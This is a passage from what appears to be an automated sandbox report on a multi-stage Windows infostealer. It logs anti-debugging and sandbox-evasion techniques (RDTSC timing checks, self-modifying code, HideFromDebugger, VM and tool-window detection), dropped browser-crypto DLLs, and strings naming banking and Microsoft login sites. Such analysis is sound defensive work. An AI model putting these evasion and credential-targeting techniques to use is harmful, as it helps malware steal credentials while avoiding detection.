Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55C7EB second address: 55C7F9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55C7F9 second address: 55C7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55C7FD second address: 55C80C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D1268FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55CE60 second address: 55CE6A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4A7CC24DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55D215 second address: 55D255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 nop 0x00000008 sub dx, D041h 0x0000000d lea eax, dword ptr [ebp+12490E39h] 0x00000013 jns 00007F4A7D1268FCh 0x00000019 nop 0x0000001a push edi 0x0000001b jnc 00007F4A7D126903h 0x00000021 jmp 00007F4A7D1268FDh 0x00000026 pop edi 0x00000027 push eax 0x00000028 push esi 0x00000029 pushad 0x0000002a jbe 00007F4A7D1268F6h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55D255 second address: 53DE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 nop 0x00000007 or dword ptr [ebp+122D23A5h], edx 0x0000000d mov edx, 2D7F3126h 0x00000012 lea eax, dword ptr [ebp+12490DF5h] 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F4A7CC24DE8h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 movzx ecx, si 0x00000035 push eax 0x00000036 jo 00007F4A7CC24DEEh 0x0000003c jnl 00007F4A7CC24DE8h 0x00000042 mov dword ptr [esp], eax 0x00000045 push 00000000h 0x00000047 push ebp 0x00000048 call 00007F4A7CC24DE8h 0x0000004d pop ebp 0x0000004e mov dword ptr [esp+04h], ebp 0x00000052 add dword ptr [esp+04h], 00000016h 0x0000005a inc ebp 0x0000005b push ebp 0x0000005c ret 0x0000005d pop ebp 0x0000005e ret 0x0000005f call dword ptr [ebp+122D1841h] 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 push ebx 0x00000069 pop ebx 0x0000006a jmp 00007F4A7CC24DF9h 0x0000006f push ecx 0x00000070 pop ecx 0x00000071 ja 00007F4A7CC24DE6h 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 53DE71 second address: 53DE77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 100FA64 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11B0084 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11DCB57 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11C4D74 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12379EE instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Special instruction interceptor: First address: 39EB9C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Special instruction interceptor: First address: 572705 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 29EB9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 472705 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Special instruction interceptor: First address: AFB82D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Special instruction interceptor: First address: AFB8F5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Special instruction interceptor: First address: CA1B02 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Special instruction interceptor: First address: CAFA6B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Special instruction interceptor: First address: D30768 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Special instruction interceptor: First address: 480B3B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Special instruction interceptor: First address: 480A5B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Special instruction interceptor: First address: 62A6FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Special instruction interceptor: First address: 658A75 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Special instruction interceptor: First address: 480A61 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Special instruction interceptor: First address: 6BDAB5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Special instruction interceptor: First address: 111FA64 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Special instruction interceptor: First address: 12C0084 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Special instruction interceptor: First address: 12ECB57 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Special instruction interceptor: First address: 12D4D74 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Special instruction interceptor: First address: 13479EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Special instruction interceptor: First address: 615F7DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Special instruction interceptor: First address: 615F3DE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsKECBFBAEBK.exe

Code function: 23_2_04BC08BD rdtsc

23_2_04BC08BD

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1007152001\c5c0aef5f7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7880	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7856	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7984	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7864	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7872	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7884	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8336	Thread sleep count: 41 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8336	Thread sleep time: -82041s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8516	Thread sleep count: 40 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8516	Thread sleep time: -80040s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8288	Thread sleep count: 227 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8288	Thread sleep time: -6810000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8512	Thread sleep count: 38 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8512	Thread sleep time: -76038s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3392	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8288	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe TID: 8712	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe TID: 8720	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe TID: 8728	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe TID: 8812	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe TID: 8664	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe TID: 8756	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe TID: 5200	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe TID: 2684	Thread sleep time: -120000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsKECBFBAEBK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCDEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CCDEBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000019.00000002.2751508633.000000000042A000.00000040.00000001.01000000.0000000E.sdmp, a4be4c0327.exe, a4be4c0327.exe, 0000001A.00000002.2757821545.0000000000C80000.00000040.00000001.01000000.0000000F.sdmp, d7f88d1a57.exe, 0000001C.00000002.2805317093.0000000006141000.00000040.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000002.2750417410.000000000060B000.00000040.00000001.01000000.00000010.sdmp, d7f88d1a57.exe, 0000001C.00000002.2785357320.0000000005E90000.00000004.00000800.00020000.00000000.sdmp, e9987cd408.exe, 0000001E.00000002.2479009717.00000000012A1000.00000040.00000001.01000000.00000011.sdmp, d7f88d1a57.exe, 0000001F.00000002.2750127921.000000000060B000.00000040.00000001.01000000.00000010.sdmp, e9987cd408.exe, 0000002B.00000002.2669428041.00000000012A1000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005725000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: d7f88d1a57.exe, 0000001C.00000002.2778860536.0000000005768000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\HH;
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000002.1945261732.0000000000B36000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1945261732.0000000000B02000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2758300660.0000000000B59000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000002.2755587324.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, e9987cd408.exe, 0000001E.00000002.2477951066.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, e9987cd408.exe, 0000001E.00000002.2477951066.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000E1F000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, e9987cd408.exe, 0000002B.00000002.2671773681.0000000001878000.00000004.00000020.00020000.00000000.sdmp, e9987cd408.exe, 0000002B.00000002.2671773681.000000000184A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 00000030.00000002.2651661819.000001B46F9BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: d7f88d1a57.exe, 0000001C.00000002.2755587324.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx`
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: a4be4c0327.exe, 0000001A.00000002.2768952285.000000000170E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: d7f88d1a57.exe, 0000001C.00000002.2755587324.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: e9987cd408.exe, 0000001E.00000002.2477951066.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware^
Source: firefox.exe, 00000030.00000002.2646442627.000001B465980000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: e9987cd408.exe, 0000002B.00000002.2671773681.000000000180B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1969499068.0000000023751000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696494690x
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000002.1946316159.0000000001191000.00000040.00000001.01000000.00000003.sdmp, DocumentsKECBFBAEBK.exe, 00000017.00000002.2030523541.000000000052A000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000018.00000002.2060890075.000000000042A000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.2751508633.000000000042A000.00000040.00000001.01000000.0000000E.sdmp, a4be4c0327.exe, 0000001A.00000002.2757821545.0000000000C80000.00000040.00000001.01000000.0000000F.sdmp, d7f88d1a57.exe, 0000001C.00000002.2805317093.0000000006141000.00000040.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000002.2750417410.000000000060B000.00000040.00000001.01000000.00000010.sdmp, d7f88d1a57.exe, 0000001C.00000002.2785357320.0000000005E90000.00000004.00000800.00020000.00000000.sdmp, e9987cd408.exe, 0000001E.00000002.2479009717.00000000012A1000.00000040.00000001.01000000.00000011.sdmp, d7f88d1a57.exe, 0000001F.00000002.2750127921.000000000060B000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.1969499068.0000000023751000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cRECOVE~1381bankoRecoveryImprovedVMware20,11696494690x
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: skotes.exe, 00000019.00000002.2758300660.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
